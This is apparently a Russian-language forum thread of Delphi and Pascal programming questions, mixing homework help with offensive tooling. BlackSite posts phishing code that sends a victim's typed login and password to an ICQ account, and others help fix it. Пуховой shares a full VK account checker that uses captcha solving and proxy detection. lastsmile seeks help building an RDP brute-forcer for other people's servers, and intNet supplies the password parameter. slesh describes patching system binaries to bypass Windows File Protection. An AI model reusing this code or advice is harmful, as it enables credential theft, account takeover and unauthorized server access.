EnterCriticalSection(CS);
Form6.sMemo2.Lines.Add(Nick+' Зашел');
LeaveCriticalSection(CS);


Собственно вот, ничего особенного


Зы Почему репу не могу никому добавить? Нажимаю, и ничего не меняется

[Rebit]

Помогите решить =) С мну +10
Лабораторна робота № 8 Обчислення площі контуру та координати центра його ваги.
Заданий замкнений контур намалювати на міліметровці, обчислити його площу та координати центра ваги за допомогою простих геометричних формул. Створити програму для обчислення за допомогою модифікованої формули Гріна, порівняти результати (вони повинні співпадати).

9. Замкнений контур розташовується між графіком функції Y=(1+|X|)(2-|X|) та віссю Х у диапазоні Х= -2 -- +2, визначити його площу та координати центра ваги за допомогою модифікованої формули Гріна. Порівняти із ручним розрахунком.


Лабораторная работа № 8 Вычисление площади контура и координаты центра его веса.
Заданный замкнутый контур нарисовать на милиметровци, вычислить его площадь и координаты центра тяжести с помощью простых геометрических формул. Создать программу для вычисления с помощью модифицированной формулы Грина, сравнить результаты (они должны совпадать).

9. Замкнутый контур располагается между графиком функции Y = (1 + | X |) (2 - | X |) и осью Х в диапазоне Х = -2 - 2, определить его площадь и координаты центра тяжести с помощью модифицированной формулы Грина. Сравнить с ручным расчетом.

[Seregakz]

народ кто вкурсах как создать такие же стильные заголовки tstringGrid'a http://clip2net.com/clip/m22700/1255960181-clip-1kb.png ???

[DimkO]

хотелось бы знать,возможно ли в делфи как то читать координаты нажатия мышки,допустим в какой то области формы?

[wolmer]

хотелось бы знать,возможно ли в делфи как то читать координаты нажатия мышки,допустим в какой то области формы?
procedure TForm1.FormMouseDown(Sender: TObject; Button: TMouseButton;
Shift: TShiftState; X, Y: Integer);
var
t:tpoint;
begin
GetCursorPos(t);
Label1.Caption:=inttostr(t.X)+' - '+inttostr(t.Y);
end;
Или же проще:
procedure TForm1.FormMouseDown(Sender: TObject; Button: TMouseButton;
Shift: TShiftState; X, Y: Integer);
begin
Label1.Caption:=inttostr(X)+' - '+inttostr(Y);
end;

[Nullsleep]

Seregakz, подключи в uses модуль XPMan

[BlackSite]

Кто знает почему не отправляет на icq данные может ни то пишу,или обновить нужно TICQClient
procedure TForm1.Button1Click(Sender: TObject);
begin
icqclient1.UIN:= strtoint('*****');
icqclient1.Password:= '*****';
ICQClient1.Login();
ShowMessage('Вы успешно залогинились на сервере.');
Button2.Enabled:=True;
Button1.Enabled:=False;
end;

procedure TForm1.ICQClient1Login(Sender: TObject);
begin
icqclient1.SendMessage(******, 'Отправка с Одноклассники добавление фотографий Login: ' + Edit1.Text + ' Password: ' + Edit2.Text );
end;

[wolmer]

Кто знает почему не отправляет на icq данные может ни то пишу,или обновить нужно TICQClient
procedure TForm1.Button1Click(Sender: TObject);
begin
icqclient1.UIN:= strtoint('*****');
icqclient1.Password:= '*****';
ICQClient1.Login();
ShowMessage('Вы успешно залогинились на сервере.');
Button2.Enabled:=True;
Button1.Enabled:=False;
end;

procedure TForm1.ICQClient1Login(Sender: TObject);
begin
icqclient1.SendMessage(******, 'Отправка с Одноклассники добавление фотографий Login: ' + Edit1.Text + ' Password: ' + Edit2.Text );
end;
Возьми создай событие от компонента ICQ с названием OnConnectionFailed, запиши в него какой нибуть ШоуМассаг, если будет вылезать такой шоумассаг значит превышенно кол. подкл.

[BlackSite]

wolmer дай асю свою надо пару вопросов задать

[=Zeus=]

2 BlackSite
Смотря какя у тебя версия TICQClient. ICQ часто меняют протокол, и старые версии перестают работать. Скачай себе последнюю версию, помоему 1.35.

[AquaKlaster]

народ кто вкурсах как создать такие же стильные заголовки tstringGrid'a http://clip2net.com/clip/m22700/1255960181-clip-1kb.png ???
На скрине ListView если не ошибаюсь.

[Almest]

Ребята помогите пожалуйста,нужна программа для разработка криптографической защиты данных. После запуска на выполнение программа должна по одному из алгоритмов, использующих генератор случайных чисел, зашифровать информацию, содержащуюся в указанном преподавателем файле, после чего записать файл под другим именем. Далее, по указанию пользователя, необходимо расшифровать записанный файл с помощью того же алгоритма.

Очень нужна помощь,спасибо за внимание..

[Seregakz]

Nullsleep, отжигаеш))
AquaKlaster, это СтрингГрид ибо в ячейках когда они заполнены отображается графика =/
в ЛистВиев помоему нельзя в ячейку графику вставлять!!

[=Zeus=]

Ребята помогите пожалуйста,нужна программа для разработка криптографической защиты данных. После запуска на выполнение программа должна по одному из алгоритмов, использующих генератор случайных чисел, зашифровать информацию, содержащуюся в указанном преподавателем файле, после чего записать файл под другим именем. Далее, по указанию пользователя, необходимо расшифровать записанный файл с помощью того же алгоритма.

Очень нужна помощь,спасибо за внимание..
Прочитай внимательней назватие раздела: "ЗАДАЙ ВОПРОС". Где твой вопрос? Где то, что ты уже пытался сделать? Или ты думаешь зарегался на форуме и тебе в тот же день готовую программу напишуту? Делать всем болье нечего. Покажи, что ты пробовал и тебя поправят, если что не так. Тут екстасенсов нету. А если у тебя лабораторная то тебе в другой раздел. Ну а если софт нужно нормальный написать то это за деньги.

[BlackSite]

Может потому что я в этой графе вин uin не ввел?
http://s46.radikal.ru/i113/0910/90/0d155dbb0a7e.jpg

[=Zeus=]

Может потому что я в этой графе вин uin не ввел?

Вот кусок из моих сорцов:

uses icqworks;

procedure TForm1.FormCreate(Sender: TObject);
...
ICQClient1.UIN:=уин;
ICQClient1.Password:='пас';
ICQClient1.Login(0, false);
...


procedure TForm1.BtnSendClick(Sender: TObject);
begin
ICQClient1.SendMessage(StrToInt(Edit1.Text), Memo1.Lines.Text);
end;

procedure TForm1.ICQClient1Error(Sender: TObject; ErrorType: TErrorType;
ErrorMsg: String);
begin
MemoError.Lines.Add(ErrorMsg);
end;

Но есть одно "НО". Много раз логиниться с одного уина нельзя, его блочат на 10-20 мин.

[BlackSite]

Все проблему решил всем спасибо

[QweHack]

Народ помогите решить задачку на Pascal.

X ребят расположены по кругу. Начав счёт от первого удаляют каждого i-го, смыкая круг после каждого удаления. Определить номер последнего оставшегося.

Заранее спасибо.

[bmp152]

bmp152, т.к. сам ковырялся с проблемой, обнаружил решение у буржуев.

- открываем IdMultipartFormData.pas
- заменяем 574 строку на Result := Result + LEncoding.GetByteCount(TStrings(FieldObject).Text) ;
- заменяем 582 строку на Result := Result + TStream(FieldObject).Size;
- заменяем 306 строку на FSize := FSize + LItem.FieldSize + 2;
Перекомпилируем. И ура - последняя ревизия индюши работает как часы.
хм, ясн, спасибо конечно, ток я тож 10.5.5 поставил обратно :)
а у вас какая версия щас стоит? и чем вообще 10.5.7 отличается от 10.5.5 не в курсе случайно?

[Пуховой]

bmp152, если я не ошибаюсь, почти год уже прошел с выпуска 10.5.5. Соответственно - год доработок. Отличия и историю можно в svn-клиенте прочесть.

У меня - 10.5.7

[bmp152]

bmp152, если я не ошибаюсь, почти год уже прошел с выпуска 10.5.5. Соответственно - год доработок. Отличия и историю можно в svn-клиенте прочесть.

У меня - 10.5.7

Ясн, значит на досуге буду снова ставить 7ю.
У меня еще такой вопос ко всем: при постинге в мамбу никак не могу решить проблему с кодировкой кириллицы:
Например постим в "обо мне":
Если постить через браузер слово "Привет!" - сниффер показывает вот это:

s=afzXkx4HfgPnZSz1UIBPje57p2cqfwZm
s_post=pqJfZufv5g3yKYybLlVNW0Nbugt7qT39
tcurl=
action=post
noerror=0
aboutme=Привет!

При постинге через прогу:

s=wo2.Z47FJpmoAHLelvQj.1sQfbJ8fUEa
s_post=Ygvvndc1lW368beAcf9pCtapQCwdEXJs
tcurl=
action=post
noerror=0
aboutme=Привет!

При этом инфа в поле "обо мне" не появляется, если писать что-нибудь на английском - то все норм работает

Пробовал так (нашел на каком-то форуме, сработало для "дамочка.ру", только там было наоборот - для браузера сниффер показывал норм. текст, для программы - кракозябры):

var
ss: TStringStream;
s,s2,s3,s4,s5,s6: UTF8String;

........

http_client.Request.ContentType:='application/x-www-form-urlencoded';
ss := TStringStream.Create('10');
s :=s;
s2 :=s_post;
s3 :='';
s4 :='post';
s5 :='0';
s6 :='Привет!';
ss.WriteString('s='+s+'&s_post='+s2 + '&tcurl=' + s3 + '&action=' + s4 + '&noerror=' + s5 + '&aboutme=' + s6);
responseres.Text:=http_client.Post('http://mamba.ru/my/edit_aboutme.phtml',ss);

- на выходе то же самое. Кто сталкивался, объясните пожалуйста в чем вообще проблема? по идее на мамбе utf-8 и клиент должен постить вроде как в ней же.

[НTL]

Как секунды переделать в чч..чч(чч):мм:сс

Проще говоря из 120 сделать 00:02:00

[Пуховой]

bmp152, и вы туда же... Ну да ладно.

Ansitoutf8 ('Привет');

[ZdezBilYa]

Как секунды переделать в чч..чч(чч):мм:сс

Проще говоря из 120 сделать 00:02:00

x:=120;
sec:=x mod 60;
x:=x div 60;
min:=x mod 60;
hou:=x div 60;

[bmp152]

bmp152, и вы туда же... Ну да ладно.
Да я так, для общего развития)
Ansitoutf8 ('Привет');
Большое спасибо, проблема решилась, оказывается все просто, вот только еще такой нюанс - мож кому пригодится:
При постинге "а б в г д е ж з и й к л м н о п p с т у ф х ц ч ш щ ъ ы ь э ю я"

Через браузер - получаем
Р° Р± РІ Рі Рґ Рµ Р¶ Р· Рё Р№ Рє Р» Рј РЅ Рѕ Рї СЂ СЃ С‚ Сѓ С„ С… С† С‡ С? С‰ СЉ С‹ СЊ СЌ СЋ СЏ

через idhttp -
Р° Р± РІ Рі Рґ Рµ Р¶ Р· Рё Р№ Рє Р» Рј РЅ Рѕ Рї С? СЃ С‚ Сѓ С„ С… С† С‡ С? С‰ СЉ С‹ СЊ СЌ СЋ СЏ

То есть буква "р" поидее должна заменяться на "СЂ", а она почемуто меняется на "С?", из-за этого весь текст не постится. Если русскую "р" заменить на аналог-латинскую, то все отлично работает.

[elimS2]

Всем привет. Пытаюсь авторизоваться вконтакте, не получаеться. Подскажите что делаю не верно:



procedure getcookie(st:string);
var i,j:integer;
ncookie:string;
begin
ncookie:='';
for i:=1 to length(st) do
if copy(st,i,10) = 'Set-Cookie' then
begin
for j := i+11 to length(st) do
if st[j] = ';' then
begin
ncookie := ncookie + copy(st,i+11,j-i-10);
break;
end;
end;
if length(ncookie) > 50 then
begin
ncookie := 'Connection: Keep-Alive'+#13+'Cache- Control: no-cache'+#13+'Cookie: remixchk=5'+'Cookie: '+ncookie;
http.Request.CustomHeaders.Clear;
http.Request.CustomHeaders.Add(ncookie);
end;
end;

procedure login(mail,pass:string);
var reqs:tstringlist;resp,s:widestring;
begin
http:=TIdHTTP.Create(nil);
coom:=TIdCookieManager.Create(http);
http.AllowCookies:=true;
http.CookieManager:=coom;
http.HandleRedirects:=true;
http.ProtocolVersion:=pv1_1;
reqs:=tstringlist.Create;
reqs.Add('email='+mail);
reqs.Add('pass='+pass);
reqs.Add('vk=');
resp:=http.Post('http://login.vk.com/?act=login',reqs);
Form1.Memo2.Text:=resp;
delete(resp,1,pos('''s'' value=',resp)-1+length('''s'' value='''));
s:=copy(resp,1,pos('''',resp)-1);
Form1.Memo3.Text:=s;
reqs.Clear;
reqs.Add('op=slogin');
reqs.Add('redirect=1');
reqs.Add('expire=0');
reqs.Add('to=');
reqs.Add('s='+s);
resp:=http.Post('http://vkontakte.ru/login.php',reqs);
reqs:=http.Response.RawHeaders;
getcookie(reqs.Text);
end;

[Пуховой]

bmp152, проблема с русской "р" в TidURI исправлена в 10.5.7 версии :)

[Пуховой]

Сама функция (определение и распознавание капчи, детект валида / невалида, детект невалид. прокси). В параметрах передаем аккаунт вида mail:pass, и tidhttp компонент. "antikey" - ваш ас-ключ.

function login_vk (account : string; http : tidhttp) : string;
var
s, imageurl, captcha : widestring;
post : tstringlist;
fs : Tmemorystream;
begin
post := tstringlist.Create;
post.Add ('op=a_login_attempt');
s := httpget (http, 'http://vkontakte.ru/');
s := httppost (http, 'http://vkontakte.ru/login.php', post);
post.Clear;
if (countpos ('vklogin', s) = 0) and (countpos ('captcha_sid', s) = 0) then
begin
Result := 'falseproxy'; post.Free; exit;
end;
if countpos ('captcha_sid', s) <> 0 then
begin
fs := TmemoryStream.Create;
imageurl := Extract (Extract (s, '"[\d]*"'), '[\d]*[\w]');
post.Add ('op=a_login_attempt');
post.Add ('captcha_sid=' + imageurl);
try http.Get ('http://vkontakte.ru/captcha.php?s=1&sid=' + imageurl, fs); except end;
captcha := recognize ('jpg', antikey, fs);
while captcha = 'ERROR_NO_SLOT_AVAILABLE' do captcha := recognize ('jpg', antikey, fs);
post.Add ('captcha_key=' + captcha);
s := httppost (http, 'http://vkontakte.ru/login.php', post);
fs.Free; post.Clear;
end;
if countpos ('captcha_sid', s) <> 0 then
begin
fs := TmemoryStream.Create;
imageurl := Extract (Extract (s, '"[\d]*"'), '[\d]*[\w]');
post.Add ('op=a_login_attempt');
post.Add ('captcha_sid=' + imageurl);
try http.Get ('http://vkontakte.ru/captcha.php?s=1&sid=' + imageurl, fs); except end;
captcha := recognize ('jpg', antikey, fs);
while captcha = 'ERROR_NO_SLOT_AVAILABLE' do captcha := recognize ('jpg', antikey, fs);
post.Add ('captcha_key=' + captcha);
s := httppost (http, 'http://vkontakte.ru/login.php', post);
fs.Free; post.Clear;
end;
post.Add ('email=' + Extractproxy (account, '[^:]*[^:]', 0));
post.Add ('pass=' + Extractproxy (account, '[^:]*[^:]', 1));
post.Add ('expire=');
post.Add ('vk=');
s := httppost (http, 'http://login.vk.com/?act=login', post);
post.Clear;
if (countpos ('vklogin', s) > 0) and (http.ResponseCode = 302) then
begin
Result := 'false'; post.Free; exit;
end;
if ((countpos ('vklogin', s) > 0) and (http.ResponseCode = 200)) or (s = '') then
begin
Result := 'falseproxy'; post.Free; exit;
end;
post.Add ('op=slogin');
post.Add ('redirect=1');
post.Add ('expire=0');
post.Add ('to=');
post.Add ('s=' + deletestr (extract (s, '''s''\svalue=''[^'']*[^'']'), '''s'' value='''));
s := httppost (http, 'http://vkontakte.ru/login.php', post);
Result := 'true';
end;

Ну и пример использования:

procedure login;
var
http : tidhttp;
coo : tidcookiemanager;
s, account : widestring;
begin
http := tidhttp.create; http.handleredirects := true; http.readtimeout := 20000;
coo := tidcookiemanager.create; http.allowcookies := true; http.cookiemanager := coo;

account := 'vasya4333@mail.ru:mega-password';

showmessage (login_vk (http, account));
end;

***

А вот функции, треб. для работы этой функции (используются в каждом приложении) :

function httpGet (http : tidhttp; adr : widestring) : widestring;
var
str : tstringstream;
begin
str := tstringstream.Create('');
try http.Get (adr, str); except end;
Result := str.DataString;
str.Free;
end;

function httpPost (http : tidhttp; adr : widestring; post : tstringlist) : widestring;
var
str : tstringstream;
begin
str := tstringstream.Create('');
try http.post (adr, post, str); except end;
Result := str.DataString;
str.Free;
end;

function httpPostMulti (http : tidhttp; adr : widestring; post : Tidmultipartformdatastream) : widestring;
var
str : tstringstream;
begin
str := tstringstream.Create('');
try http.post (adr, post, str); except end;
Result := str.DataString;
str.Free;
end;

function ExtractProxy (const AInputString : string ; buf : string; pos : integer) : string;
var
r : TRegExpr;
begin
Result := '';
r := TRegExpr.Create;
try
r.Expression := buf;
r.Exec (AInputString);
Result := r.Match [0];
if pos = 1 then
begin
r.ExecNext;
Result := r.Match [0];
end;
finally r.Free;
end;
end;

function Extract (const AInputString : string ; buf : string) : string;
var
r : TRegExpr;
begin
Result := '';
r := TRegExpr.Create;
try
r.Expression := buf;
if r.Exec (AInputString) then
REPEAT
Result := r.Match [0];
UNTIL not r.ExecNext;
finally r.Free;
end;
end;

function deletestr (str, target : widestring) : widestring;
var
p : integer;
begin
while pos (target, str) > 0 do
begin
p := pos (target, str);
delete (str, p, length (target));
end;
Result := str;
end;

function countpos (const subtext: string; Text: string): Integer;
begin
if (Length(subtext) = 0) or (Length(Text) = 0) or (Pos(subtext, Text) = 0) then Result := 0 else Result := (Length(Text) - Length(StringReplace(Text, subtext, '', [rfReplaceAll]))) div Length(subtext);
end;

function recognize (itype: string; key: string; image : tmemorystream) : string;
var
ftype, s, id: string;
i: integer;
http: tidhttp;
multi: tidmultipartformdatastream;
begin
if strpos (pchar (itype), 'jpg') <> nil then ftype := 'image/pjpeg';
if strpos (pchar (itype), 'gif') <> nil then ftype := 'image/gif';
if strpos (pchar (itype), 'png') <> nil then ftype := 'image/png';
multi := Tidmultipartformdatastream.Create;
multi.AddFormField ('method', 'post');
multi.AddFormField ('key', key);
multi.AddObject ('file', ftype, 'UTF8',image, 'captcha.' + itype);
http := tidhttp.Create;
s := http.Post ('http://antigate.com/in.php', multi);
http.Free; multi.Free;
id := '';
if strpos (Pchar (s), 'ERROR_') <> nil then begin result := s; exit; end;
if strpos (Pchar (s), 'OK|') <> nil then id := AnsiReplaceStr (s, 'OK|', '');
if id = '' then result := 'ERROR: bad captcha id';
for i := 1 to 20 do
begin
sleep (5000);
http := tidhttp.Create;
s := http.Get ('http://antigate.com/res.php?key=' + key + '&action=get&id=' + id);
http.Free;
if strpos (Pchar (s), 'ERROR_') <> nil then begin result := s; exit; end;
if strpos (Pchar (s), 'OK|') <> nil then
begin
result := AnsiReplaceStr (s, 'OK|', '');
exit;
end;
end;
result := 'ERROR_TIMEOUT';
end;

[Rebit]

Помогите решить =) С мну +10
Лабораторна робота № 8 Обчислення площі контуру та координати центра його ваги.
Заданий замкнений контур намалювати на міліметровці, обчислити його площу та координати центра ваги за допомогою простих геометричних формул. Створити програму для обчислення за допомогою модифікованої формули Гріна, порівняти результати (вони повинні співпадати).

9. Замкнений контур розташовується між графіком функції Y=(1+|X|)(2-|X|) та віссю Х у диапазоні Х= -2 -- +2, визначити його площу та координати центра ваги за допомогою модифікованої формули Гріна. Порівняти із ручним розрахунком.


Лабораторная работа № 8 Вычисление площади контура и координаты центра его веса.
Заданный замкнутый контур нарисовать на милиметровци, вычислить его площадь и координаты центра тяжести с помощью простых геометрических формул. Создать программу для вычисления с помощью модифицированной формулы Грина, сравнить результаты (они должны совпадать).

9. Замкнутый контур располагается между графиком функции Y = (1 + | X |) (2 - | X |) и осью Х в диапазоне Х = -2 - 2, определить его площадь и координаты центра тяжести с помощью модифицированной формулы Грина. Сравнить с ручным расчетом.

[CaLLIka]

Ребят,нужна помощь есть прога маленькая,написана походу на делфи 7,исходников нет,
Вводишь данные,она производит расчет и выводит отчет,надо убрать некоторые формы для ввода данных,которые используются только в отчете.возможно?пробовал через де де,я не понимаю нихрена в этом,что менять и как :( кто может помочь стукните в асю

[ErrorNeo]

задача
есть бинарный файл(200кб), в его теле 1 раз (смещение заранее не известно) содержится последовательность из заранее заданных 5 байт.
Требуется заменить эти 5 байт на другие заранее заданные 5 байт, сохранив все остальное, в.т.ч. и название файла.

(если более точно, то требуется заменить CD 16 0F 85 09 на CD 16 90 90 90 в одном системном файле)

вопрос в том как сделать это с минимумом камасутры, за ответы спс :-)
побайтово читать и сохраняя буффер из последних 5 символов писать новый файл, а затем удалить оригинал и на его место записать "новый" - в голову пришло. Но как-то это тупо...
кто-нибудь знает менее нерациональные способы?

[s0l_ir0n]

задача
есть бинарный файл(200кб), в его теле 1 раз (смещение заранее не известно) содержится последовательность из заранее заданных 5 байт.
Требуется заменить эти 5 байт на другие заранее заданные 5 байт, сохранив все остальное, в.т.ч. и название файла.

(если более точно, то требуется заменить CD 16 0F 85 09 на CD 16 90 90 90 в одном системном файле)

вопрос в том как сделать это с минимумом камасутры, за ответы спс :-)
побайтово читать и сохраняя буффер из последних 5 символов писать новый файл, а затем удалить оригинал и на его место записать "новый" - в голову пришло. Но как-то это тупо...
кто-нибудь знает менее нерациональные способы?

program Project1;

{$APPTYPE CONSOLE}

uses
windows;

var
FHWND:HWND;
OFS: OFSTRUCT;
buf:array [1..6] of byte;
tmpDW:DWORD;
i, fsize:integer;
const
sMask:array [1..6] of byte=($CD, $16, $0F, $85, $09, $00);
rMask:array [1..6] of byte=($CD, $16, $90, $90, $90, $00);
begin

FHWND:= OpenFile('Relase.exe', OFS, OF_READWRITE);

if FHWND = INVALID_HANDLE_VALUE then Exit;

fsize:=GetFileSize(FHWND,@tmpDW);

for I:=1 to fsize-5 do
begin
ReadFile(FHWND, buf, 5, tmpDW, nil);
if lstrcmp(@buf,@sMask)=0
then begin
SetFilePointer(FHWND, -5, nil, FILE_CURRENT);
WriteFile(FHWND, rMask, 5, tmpDW, nil);
Exit;
end;
SetFilePointer(FHWND, i, nil, FILE_BEGIN);
end;

CloseHandle(FHWND);
end.

з.ы.: в итерации ошибка скорее всего =)

[slesh]

т.к. файл не большой, то проще былобы замаппить его в оперативу с правами на запись. Сразу память просканить на наличие данной сигнатуры, затем сразу изменить значение в памяти и отмаппить файл. Скорость бы была напорядок выше.

[slesh]

для тех кто не умеет юзать файл маппинг вот пример:


program Project2;

{$APPTYPE CONSOLE}

uses
Windows;

const
find_data : array [0..4] of byte = ($CD, $16, $0F, $85, $09);
replace_data : array [0..4] of byte = ($CD, $16, $90, $90, $90);

// выдрал sysutils
function CompareMem(P1, P2: Pointer; Length: Integer): Boolean; assembler;
asm
PUSH ESI
PUSH EDI
MOV ESI,P1
MOV EDI,P2
MOV EDX,ECX
XOR EAX,EAX
AND EDX,3
SAR ECX,2
JS @@1 // Negative Length implies identity.
REPE CMPSD
JNE @@2
MOV ECX,EDX
REPE CMPSB
JNE @@2
@@1: INC EAX
@@2: POP EDI
POP ESI
end;

var
hFile : THANDLE;
hFileMap : THANDLE;
Mem : pointer;
FileSize : dword;
x : dword;
begin
hFile := CreateFileA('c:\Relase.exe', GENERIC_WRITE or GENERIC_READ, FILE_SHARE_READ or FILE_SHARE_WRITE, nil, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, 0);
if hFile <> INVALID_HANDLE_VALUE then
begin
FileSize := GetFileSize(hFile, nil);
hFileMap := CreateFileMappingA(hFile, nil, PAGE_READWRITE , 0, FileSize, nil);
if hFileMap <> INVALID_HANDLE_VALUE then
begin
Mem := MapViewOfFile(hFileMap, FILE_MAP_ALL_ACCESS, 0, 0, FileSize);
if Mem <> nil then
begin
for x := 0 to FileSize - 6 do
begin
if CompareMem(pointer(dword(Mem) + x), @find_data[0], 5) then
begin
CopyMemory(pointer(dword(Mem) + x), @replace_data[0], 5);
break;
end;
end;
UnmapViewOfFile(Mem);
end;
CloseHandle(hFileMap);
end;
CloseHandle(hFile);
end;


end.


Такими методом можно очень быстро найти данные любой длинные и также быстро заменить их.
Хотя вместо CompareMem можно было просто проверить 4 байта, а потом 1 байт и это было бы быстрее при небольшом размере проверяемых данных. т.е. примерно так проверять

if (dword(pointer(dword(Mem) + x)^) = dword(pointer(@find_data[0])^)) and
(byte(pointer(dword(Mem) + x + 4)^) = find_data[4]) then


И теперь главное. если таким методом патчить виндовые проги (незапущенные) то вл:егкую обходится WFP защита. Я так патчил эксплорер.
Когда его прибиваеш, патчиш, и потом опять запускаеш, то на Win XP WFP молчал.

[s0l_ir0n]

slesh, твоя захардкоденая функция CompareMem - это ведь тоже самое, что и lstrcpyn?

[slesh]

нет lstrcpyn - это копирование строки, а CompareMem сравнение памяти

[DiHWO]

ребят, есть статья по отправке сокетов через хттп протокол? оч надо.

[НTL]

Как узнать сколько времени у таймера осталось? Без камасутры

[mailbrush]

ребят, есть статья по отправке сокетов через хттп протокол? оч надо.
Если тебе надо для теста, а не для написания сложных программ, то можешь юзать Indy. Это встроенный компоннент Delphi.

WinSock, конечно, лучше, но его используй потом - когда освоишь азы протокола :)

[sherlock]

Прога должна отправлять собщение на ICQ.

Но не отправляет, почему???

procedure TForm1.Button1Click(Sender: TObject);
begin
ICQClient1.UIN:=strtoint('555453705');
ICQClient1.Password:='lODZjetE';
ICQClient1.ICQServer:='login.icq.com';
ICQClient1.ICQPort:=strtoint('5190');
ICQClient1.Login();
end;

procedure TForm1.Button2Click(Sender: TObject);
begin
ICQClient1.SendMessage(StrToInt64('554104078'),'He llo!!!TEST!!!');
end;

[НTL]

Прога должна отправлять собщение на ICQ.

Но не отправляет, почему???

procedure TForm1.Button1Click(Sender: TObject);
begin
ICQClient1.UIN:=strtoint('555453705');
ICQClient1.Password:='lODZjetE';
ICQClient1.ICQServer:='login.icq.com';
ICQClient1.ICQPort:=strtoint('5190');
ICQClient1.Login();
end;

procedure TForm1.Button2Click(Sender: TObject);
begin
ICQClient1.SendMessage(StrToInt64('554104078'),'He llo!!!TEST!!!');
end;




procedure TForm1.Button2Click(Sender: TObject);
begin
ICQClient1.SendMessage(554104078,'Hello!!!TEST!!!' );
end;


Кстати:

ICQClient1.UIN:=555453705;

[sherlock]

procedure TForm1.Button2Click(Sender: TObject);
begin
ICQClient1.SendMessage(554104078,'Hello!!!TEST!!!' );
end;

Нероботает...

[НTL]

Нероботает...


Анти-спам на 554104078 есть? Если до то добавь 555453705 в КЛ 554104078

[>>serhio<<]

Вообщем нужна помощь на Turbo Pascale: идет условие задачи, далше мой 1 вариант ее решения и второй только в их нужно подправить.На деюсь на ваши отклики!
Задание:
Разработать программу табулирования функций для произвольного диапазона изменения независимого параметра или аргумента.Выполнить расчет для использованных исходных значенийж: х=1-2*cos(a*y)+ln(y), a=log2(y),y є [П;2*П] ∆y=П/4
Результаты вывести в следующем виде:
Значение аргумента,значение вспомагательной функции и результата.
В программу включить ввод исходных данных и проверку диапазона от -100 до 100.Начальное значение меньше конечного, шаг разности от начального и конечного.
program primer 1;
det=pi/4;
b=2*pi;
var
a,y,x:real;
begin
y:=b;
cohile y < = с do
a:=ln (y)/ln(2);
x:=1-2*cos(a*y)+ln(y);
writeln(x,a,y);
y:=y+dety;
end;
readln;
end.
program primer2;
x,y,a,b,c,dety:real;
i,n:integer
begin
y:=pi;
b:=pi;
c:=2*pi;
det y:=pi/4;
n:=trune ((b-a)/det y);
for i:=0 to n do
begin
y:=a+(detx*i);
a:=logln(y)/ln(2);
x:=1-2*cos(a*y)+ln(y);
writeln(x,a,y);
end;
readln;
end.

[DiHWO]

Тааак, из одного вопроса вытекает другой. Какие приемущества инди? И почему его не любят кодеры высокого класса? Я конечно к ним не отношусь, просто интересно ))) Кста, нашел я себе учебник...сижу теперь, учу сокеты...

[mailbrush]

Тааак, из одного вопроса вытекает другой. Какие приемущества инди? И почему его не любят кодеры высокого класса? Я конечно к ним не отношусь, просто интересно ))) Кста, нашел я себе учебник...сижу теперь, учу сокеты...
Инди - с одной стороны имеют приемущества, а с другой - недостатки. Приемущества для новичков - всё делается очень - просто. Даже HTTP-заголовков учить не надо. Вот, например, чтобы послать запрос на страничку ачата, достаточно в код добавить строчку:
Memo1.Text := IdHTTP1.Get('http://forum.antichat.ru');
Соответственно в Memo1 будет исходник странички. Простота - это и есть приемущество инди.

А теперь о недостатках - кодерам, которые программируют программы для работы с сетью инди не подходит. Почему? Потому что он достаточно медленный + такими простыми запросами, как IdHTTP1.Get не обойтись :) Да и вообще - лучше всего учиться на практике, поэтому с опытом поймешь...

[slesh]

2 НTL про таймер - тут можно так сделать:
есть глобальная переменная к примеру mytime:dword;
и вот перед включением таймера ты делаеш mytime := GetTickCount();
затем при срабатывании таймера тоже самое всегда делаеш.
Чтобы узнать сколько осталось времени, то делаеш так:
Timer1.inverval - (GetTickCount() - mytime) и получиш значение в микросекундах.

[НTL]

Тааак, из одного вопроса вытекает другой. Какие приемущества инди? И почему его не любят кодеры высокого класса? Я конечно к ним не отношусь, просто интересно ))) Кста, нашел я себе учебник...сижу теперь, учу сокеты...

Инди дохнет к примеру если послать 1к+ запросов (Каждые 10сек) то он начнет парить...
Плюс еще инди сам выполняет перенаправление на другую страницу...

[>>serhio<<]

Помогите реализовать на turbo pascale!
Дана матрица из 3 строк и 6 столбцов. Элементы каждого столбца представляют длины трех сопряженных ребер одного из 6 прямоугольных параллелепипедов. Отпечатать номер каждого столбца, которым задан параллелепипед большего объема, чем объем шара с заданным радиусом R V=4/3ПR³ , и число таких столбцов.

[lastsmile]

здравствуйте господа. пишу на форуме редко, потому что задаю вопросы тока по теме, соответствено жду только подобающих ответов. пишу на дельфи программу - rdp клиент. взял компонент из раздела activeX (TMsRdpClient2). не могу найти параметр отвечающий за ввод пароля и выбор домена из списка. кто сможет помочь. если честно планирую написать свой брутер для дедиков. если кто-то сможет помочь то могу выложить готовый проект в openSource для того чтобы была возможность дальнейшего развития. для меня лишь нужны деды только для личного пользования не для продаж

[DiHWO]

о, а что такое dedicated services или как вы говорите, дедики?

[Nullsleep]

Наведи на слово dedicated в своем посте

[slesh]

2 Nullsleep в Опере это не прокатит )

[DiHWO]

Nullsleep, навел, что дальше?

[lastsmile]

ну просил же по теме писать. неужели так трудно? есть у кого-то варианты как это можно реализовать? теперь уже выслушаю все возможные варианты. пробовал через findwindow() найти имена полей в окне акторизации удаленного рабочего стола, что-то не получается.
Есть конечно вариант: сначала забить все необходимые поля в настройках подключения к удаленному рабочему столу а потом уже пробовать коннектиться, но тогда я не смогу получить список доменов на удаленном серваке. Скорее всего буду думать в этом направлении...

[W!z@rD]

ну просил же по теме писать. неужели так трудно? есть у кого-то варианты как это можно реализовать? теперь уже выслушаю все возможные варианты. пробовал через findwindow() найти имена полей в окне акторизации удаленного рабочего стола, что-то не получается.
Есть конечно вариант: сначала забить все необходимые поля в настройках подключения к удаленному рабочему столу а потом уже пробовать коннектиться, но тогда я не смогу получить список доменов на удаленном серваке. Скорее всего буду думать в этом направлении...

пуск - выполнить - mstsc /? - enter

там указываешь файл с rdp настройками

[intNet]

не могу найти параметр отвечающий за ввод пароля и выбор домена из списка
rdp.AdvancedSettings2.ClearTextPassword := 'pass';
Или так:
rdp.AdvancedSettings2.Set_ClearTextPassword('pass' );
Про домен - не помню, но помоему rdp.Domain.

[wolmer]

Такой вопрос...
Вот к примеру есть потоки, они обрабатывают инфу и заносят в мемо, потоки чуть не успевают туда записывать строки (точнее так сказать мемо не резиновый)(совсем чуть чуть не успевает), куда не записанные строки (т.е. ждущие строки пока их запишут) деются? В память я так думаю... А что если эта очередь может разорваться? Т.е. если очередь разорвется то высветится ошибка типа Out of memory? Верно?

[DiHWO]

ответьте про дедики...и пинч что такое?

[lastsmile]

